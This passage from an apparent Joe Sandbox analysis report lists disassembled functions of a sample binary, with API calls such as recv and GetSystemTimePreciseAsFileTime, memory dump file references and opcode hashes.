                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: __floor_pentium4
                                                                                                                                                                                                                                                                                    • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                                                                                                                                                                                                                                                    • API String ID: 4168288129-2761157908
                                                                                                                                                                                                                                                                                    • Opcode ID: 359212a5cc7fff81e2933688c0ffaa359665bd297c7a9de0a8172f57ce1ec8eb
                                                                                                                                                                                                                                                                                    • Instruction ID: 67bc127ba519318ec942f1eb066ba02febaef56dace69aa6f3cf57334365323d
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 359212a5cc7fff81e2933688c0ffaa359665bd297c7a9de0a8172f57ce1ec8eb
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 14C22B71E086288FDB65CE28DD807EAB7F5EB48705F2441EAD84DE7240E775AE858F40
                                                                                                                                                                                                                                                                                    Function 00AFE0C0 Relevance: 4.6, APIs: 3, Instructions: 102networkCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • recv.WS2_32(?,?,00000004,00000000), ref: 00AFE10B
                                                                                                                                                                                                                                                                                    • recv.WS2_32(?,?,00000008,00000000), ref: 00AFE140
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: recv
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1507349165-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 032a87a90aaa44fb4c03c579fe52660ca43376b8e85e6289eb3dd5ba4a56e8d6
                                                                                                                                                                                                                                                                                    • Instruction ID: 5fd2b391f7cb24ac06e0a63c89c630684404c7196b8ec4924d3ee417edee6b23
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 032a87a90aaa44fb4c03c579fe52660ca43376b8e85e6289eb3dd5ba4a56e8d6
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A731E771A002489BD720CBA9DC85BFF7BB8EB18724F000665F614E73E1DB74A8448B60
                                                                                                                                                                                                                                                                                    Function 00B32D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
                                                                                                                                                                                                                                                                                    • Instruction ID: b6f3200bfb9c31e4185475fc531e8ff588c046d664db582916f7b43a12cfe437
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F8F12E71E002199FDF14CFA8C9906AEB7F1FF48714F2582A9D919AB344D731AE41CB90
                                                                                                                                                                                                                                                                                    Function 00B0CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetSystemTimePreciseAsFileTime.KERNEL32(?,00B0CF52,?,00000003,00000003,?,00B0CF87,?,?,?,00000003,00000003,?,00B0C4FD,00AF2FB9,00000001), ref: 00B0CC03
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Time$FilePreciseSystem
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1802150274-0
                                                                                                                                                                                                                                                                                    • Opcode ID: bcfa09b3d4efdbb0263a1b800660b96192886311f78374ac71d963d7ab613df9
                                                                                                                                                                                                                                                                                    • Instruction ID: 843fa92370ce779be9e028bfc8bb98735551a7ee15f03265512b79825da4a8af
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: bcfa09b3d4efdbb0263a1b800660b96192886311f78374ac71d963d7ab613df9
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 06D0223260213893CA263BC4EC088ACBF98DB05B557000292EE0D13160CF61EC408BE0
                                                                                                                                                                                                                                                                                    Function 00B27F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
